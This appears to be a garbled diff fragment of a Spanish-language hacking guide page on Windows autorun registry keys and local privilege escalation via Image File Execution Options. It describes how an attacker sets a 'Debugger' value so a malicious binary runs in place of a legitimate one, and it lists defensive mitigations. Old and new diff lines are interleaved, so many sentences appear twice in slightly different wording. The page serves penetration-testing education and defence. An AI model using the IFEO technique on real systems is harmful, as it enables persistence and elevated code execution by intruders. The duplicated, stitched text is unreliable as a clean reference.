* `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer`
Verificar la clave **Run**.
Verifica la clave **Run**.
```bash
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
@ -308,17 +308,17 @@ Image File Execution Options (IFEO) es una característica de Windows que permit
Cuando se crea una clave de registro en `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`, Windows ejecutará un binario especificado antes de ejecutar cualquier otro binario con el mismo nombre. Esto puede ser utilizado por los atacantes para reemplazar un binario legítimo con uno malicioso y obtener privilegios elevados.
Para lograr esto, el atacante debe crear una nueva clave en `Image File Execution Options` con el nombre del binario legítimo que desea reemplazar. Dentro de esta clave, se debe crear un valor de cadena llamado `Debugger` y se debe establecer su valor en la ruta del binario malicioso.
Para lograr esto, el atacante debe crear una nueva clave en `Image File Execution Options` con el nombre del binario legítimo que desea reemplazar. Luego, debe agregar un valor de cadena llamado `Debugger` y establecerlo en la ruta del binario malicioso.
Cuando se inicie el binario legítimo, Windows ejecutará automáticamente el binario malicioso especificado en la clave `Debugger`. Esto permite al atacante ejecutar código con privilegios elevados.
Cuando se inicie el binario legítimo, Windows ejecutará el binario malicioso en su lugar, lo que permite al atacante ejecutar código con privilegios elevados.
Para evitar este tipo de escalada de privilegios, se recomienda realizar las siguientes acciones:
- Restringir el acceso a la clave de registro `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` para evitar modificaciones no autorizadas.
- Monitorear los cambios en la clave de registro mencionada anteriormente para detectar posibles modificaciones maliciosas.
- Mantener actualizado el sistema operativo y aplicar los parches de seguridad correspondientes para mitigar las vulnerabilidades conocidas que podrían ser explotadas para lograr una escalada de privilegios.
- Monitorear los cambios en la clave de registro mencionada anteriormente y en los binarios asociados.
- Utilizar soluciones de seguridad que detecten y bloqueen este tipo de actividad maliciosa.
Al tomar estas medidas, se puede reducir significativamente el riesgo de una escalada de privilegios local a través de Image File Execution Options.
Al comprender cómo los atacantes pueden aprovechar las opciones de ejecución de archivos de imagen, los administradores de sistemas pueden tomar medidas para proteger sus sistemas y prevenir la escalada de privilegios local.
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
@ -339,9 +339,9 @@ Encuentra más Autoruns como registros en [https://www.microsoftpressstore.com/a
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}